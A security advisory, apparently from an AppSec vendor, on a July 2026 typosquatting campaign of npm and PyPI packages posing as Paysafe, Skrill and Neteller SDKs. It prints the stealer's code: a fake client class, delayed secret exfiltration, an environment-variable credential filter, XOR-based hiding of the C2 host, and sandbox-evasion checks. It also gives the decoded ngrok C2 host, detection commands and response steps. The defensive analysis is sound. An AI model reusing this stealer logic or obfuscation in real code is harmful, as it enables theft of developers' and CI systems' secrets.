critical

CVE

Not assigned

CWE

CWE-506, CWE-200

Affected Surface

  • 13 npm package names published in malicious `1.0.0` through `1.0.3` waves on 7 July 2026: `paysafe-checkout`, `paysafe-vault`, `neteller`, `skrill-payments`, `paysafe-js`, `paysafe-api`, `paysafe-node`, `paysafe-cards`, `paysafe-fraud`, `paysafe-kyc`, `skrill`, `skrill-sdk`, and `paysafe-payments`
  • 4 PyPI package names published as malicious `1.0.0` releases on 7 July 2026: `paysafe-kyc`, `paysafe-payments`, `paysafe-sdk`, and `paysafe-api`
  • Developer workstations, backend services, and CI runners that imported the fake SDKs while exposing `PAYSAFE_API_KEY`, cloud credentials, registry tokens, GitHub tokens, or other environment-stored secrets

The most actionable new supply-chain story in the last 72 hours is not a compiler exploit or a novel install hook. It is a tightly scoped credential-stealing typosquat wave aimed at payment integrations. On 7 July 2026, attackers pushed 17 packages across npm and PyPI using names that look plausible to anyone skimming for Paysafe, Skrill, or Neteller support. The engineering detail that matters is that the payload is not trying to break payment flows. It is trying to look enough like payment code that your application will willingly hand it secrets.

This cluster deserves attention because the lure set matches how real teams talk about these products. Paysafe’s documented integrations use api.paysafe.com / api.test.paysafe.com, Payment Handles under paymenthub/v1, and wallet-specific flows for Skrill and Neteller. There is also a legitimate Paysafe Python SDK repository and an existing node-paysafe ecosystem package. That makes package names such as paysafe-node, paysafe-api, skrill-sdk, and neteller look believable even when they are not the vendor’s documented integration surface.

Affected packages

The public package set is small enough to scope exactly:

npm

  • paysafe-checkout
  • paysafe-vault
  • neteller
  • skrill-payments
  • paysafe-js
  • paysafe-api
  • paysafe-node
  • paysafe-cards
  • paysafe-fraud
  • paysafe-kyc
  • skrill
  • skrill-sdk
  • paysafe-payments

Each npm name reportedly shipped four malicious versions:

1.0.0
1.0.1
1.0.2
1.0.3

PyPI

  • paysafe-kyc
  • paysafe-payments
  • paysafe-sdk
  • paysafe-api

Each observed Python package reportedly shipped a malicious 1.0.0.

Why the lure worked

The malware authors did not invent random brand-adjacent names. They picked names that map closely enough to real developer expectations:

  • Paysafe’s documented REST endpoints really do live at https://api.paysafe.com/paymenthub/v1 and https://api.test.paysafe.com/paymenthub/v1.
  • Skrill and Neteller are real payment instruments in the Paysafe Payments API, and the official docs talk about them with those exact product names.
  • Skrill also has a documented browser-side skrill.min.js flow, which makes names like skrill-sdk or skrill-payments seem routine.

That context matters because the malicious code abused it directly. In the npm case, the package exports a client class that looks like a wrapper around the real Paysafe API:

class PaysafeClient {
  constructor(config = {}) {
    this.apiKey = config.apiKey || process.env.PAYSAFE_API_KEY || null;
    this.env = config.environment || process.env.PAYSAFE_ENV || "TEST";
    this.base = this.env === "LIVE"
      ? "https://api.paysafe.com"
      : "https://api.test.paysafe.com";
  }

  payments = {
    create: async (data) => this._request("POST", "/paymenthub/v1/payments", data),
    get: async (id) => this._request("GET", "/paymenthub/v1/payments/" + id),
  };
}

Those strings are camouflage. The package does not need to talk to Paysafe at all to succeed as malware. It only needs your code to instantiate the class and call a method while secrets are present in the environment.

The npm payload waits for application use, not install time

One technically interesting choice is that the npm sample does not rely on a visible postinstall hook. Instead, it waits for an actual client method to run:

async _request(method, path, data) {
  if (this.apiKey) {
    setTimeout(() => exfiltrate({
      m: method,
      p: path,
      k: this.apiKey.substring(0, 10),
    }), 11768);
  }
  return { success: true, method, path };
}

Three things are happening here:

  1. the package returns a plausible success object immediately, so weak smoke tests may still pass
  2. exfiltration is delayed, which reduces the odds that a developer mentally links the outbound traffic to the SDK call
  3. the trigger is gated on PAYSAFE_API_KEY or a constructor-supplied key, which makes the malware preferentially activate on hosts already wired to something valuable

That is a different tradeoff from commodity postinstall stealers. The attacker is betting that application execution context contains better secrets than raw package-manager context.

The credential filter is broad and CI-friendly

The exfiltrate function is the real payload. It fingerprints the host and then dumps any environment variable whose name looks sensitive:

function exfiltrate(extra) {
  if (isSandbox()) return;

  const payload = JSON.stringify({
    hostname: os.hostname(),
    username: os.userInfo().username,
    cwd: process.cwd(),
    env: Object.keys(process.env)
      .filter((k) =>
        k.includes("KEY") ||
        k.includes("SECRET") ||
        k.includes("TOKEN") ||
        k.includes("PASS") ||
        k.includes("AUTH") ||
        k.includes("API")
      )
      .reduce((acc, k) => ({ ...acc, [k]: process.env[k].substring(0, 100) }), {}),
    package: "paysafe-node",
    extra,
  });
}

This is why the campaign matters to AppSec teams even if they do not process Paysafe transactions. The filter is generic enough to catch:

  • PAYSAFE_API_KEY
  • AWS_SECRET_ACCESS_KEY
  • GITHUB_TOKEN
  • NPM_TOKEN
  • cloud workload credentials exposed as env vars
  • CI/CD secrets injected into build jobs
  • internal service API credentials

In other words, the brand lure is narrow, but the theft target is broad.

The C2 is hidden behind lightweight runtime decoding

The npm sample does not embed the control host as a plain string. It derives it at runtime with three simple transforms:

const XOR_KEY = Buffer.from("SGf6lmbr7GHUg99Z6R2U3g==", "base64");

function decodeString(base64) {
  const buf = Buffer.from(base64, "base64");
  const result = Buffer.alloc(buf.length);
  for (let i = 0; i < buf.length; i++) {
    result[i] = buf[i] ^ XOR_KEY[i % XOR_KEY.length];
  }
  return result.toString();
}

const raw = decodeString("iuCM41mdmqNX9OElK51WXTAYxe4ZkZWjUPmgI54jVl0+GIXspGou5epBXC+aZ+msPA==");
const shifted = raw.split("").map((c) => String.fromCharCode(c.charCodeAt(0) - 17)).join("");
const c2Host = shifted.split("").reverse().join("");
// caliber-spinner-finishing.ngrok-free.dev

This is not advanced obfuscation, but it is enough to defeat the weakest static scans and string-based reviews. The actual exfil path then becomes:

https://caliber-spinner-finishing.ngrok-free.dev:443/

For defenders, the operational lesson is simple: if a payment SDK is contacting an ngrok-free.dev host at runtime, you are no longer looking at a normal payment integration.

The Python packages move the same logic into __init__.py

The PyPI side is functionally similar, but the execution point is different. The published sample code places the exfil logic directly in package import scope:

import os, json, base64, time, platform, getpass

def _e(d=None):
    if _h():
        return
    p = json.dumps({
        "hn": platform.node(),
        "us": getpass.getuser(),
        "cw": os.getcwd(),
        "ev": {
            k: os.environ[k][:100]
            for k in os.environ
            if any(x in k.upper() for x in ["KEY", "SECRET", "TOKEN", "PASS", "AUTH", "API"])
        },
        "pk": "paysafe-sdk",
        "ex": d or {},
    }).encode()

The fake PaysafeClient class on the Python side preserves the same masquerade:

class PaysafeClient:
    def __init__(self, k=None, e=None):
        self.k = k or os.environ.get("PAYSAFE_API_KEY")
        self.env = e or os.environ.get("PAYSAFE_ENV", "TEST")
        self.b = "https://api.paysafe.com" if self.env.upper() == "LIVE" else "https://api.test.paysafe.com"

    def create_payment(self, a, c="USD"):
        if self.k:
            time.sleep(12)
            _e({"m": "create_payment", "k": self.k[:10]})
        return {"status": "success", "amount": a, "currency": c}

That means Python environments do not even need a full payment flow. An import path and one apparently harmless method call are enough.

Sandbox checks are present, but they are weak

Both implementations include simple evasion logic keyed off low-core VMs and obvious hostnames or usernames such as:

sandbox
analyzer
cuckoo
virus
malware
vmware
vbox

This is not high-end anti-analysis tradecraft. It does, however, tell us the actor expected defenders to detonate samples in small virtual sandboxes and wanted the malware to fail closed there.

The registry state may already have moved past the live artifact

This campaign was detected quickly, which creates a familiar incident-response problem: by the time most organizations investigate, current registry state may no longer reflect what a build installed during the exposure window. For this class of event, historical evidence matters more than the package page you see today:

  • lockfiles
  • CI job logs
  • package-cache contents
  • artifact manifests
  • proxy logs
  • outbound network telemetry

If your first question is only “does the package still exist on the registry?”, you are already asking the wrong forensic question.

Detection and scoping

Start with dependency trees and lockfiles:

rg -n \
  "paysafe-checkout|paysafe-vault|neteller|skrill-payments|paysafe-js|paysafe-api|paysafe-node|paysafe-cards|paysafe-fraud|paysafe-kyc|skrill|skrill-sdk|paysafe-payments" \
  package.json package-lock.json pnpm-lock.yaml yarn.lock npm-shrinkwrap.json

rg -n \
  "paysafe-kyc|paysafe-payments|paysafe-sdk|paysafe-api" \
  requirements.txt pyproject.toml poetry.lock uv.lock

Then hunt for runtime indicators:

rg -n "ngrok-free\\.dev|caliber-spinner-finishing|PAYSAFE_API_KEY|api\\.paysafe\\.com|paymenthub/v1" \
  "$HOME" /tmp /var/tmp .

Network and process review should prioritize:

caliber-spinner-finishing.ngrok-free.dev
HTTPS POST requests from application or CI hosts to ngrok-backed domains
Processes that imported a Paysafe/Skrill/Neteller package and then contacted non-Paysafe infrastructure

Because the exfil filter is environment-variable based, any confirmed execution on CI should trigger an immediate secret review, even if the package was never deployed to production.

Response guidance

Treat any host that imported and executed one of these packages as compromised.

  1. Isolate affected CI runners or developer hosts.
  2. Rotate registry tokens, GitHub tokens, cloud keys, payment credentials, and internal service secrets that were present in the environment.
  3. Rebuild from clean lockfiles and known-good package names rather than attempting in-place trust restoration.
  4. Review build logs for the package names above and correlate them with outbound traffic to the decoded ngrok-free.dev host.
  5. Verify integrations against the vendor’s documented surfaces instead of grabbing brand-shaped package names from a registry search result.

The broader lesson is that attackers no longer need exotic install hooks when a fake SDK will do. If the package can present a convincing client class, return a plausible success object, and wait for your real application to hand it secrets, the malicious behavior can hide inside what looks like perfectly ordinary integration glue.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References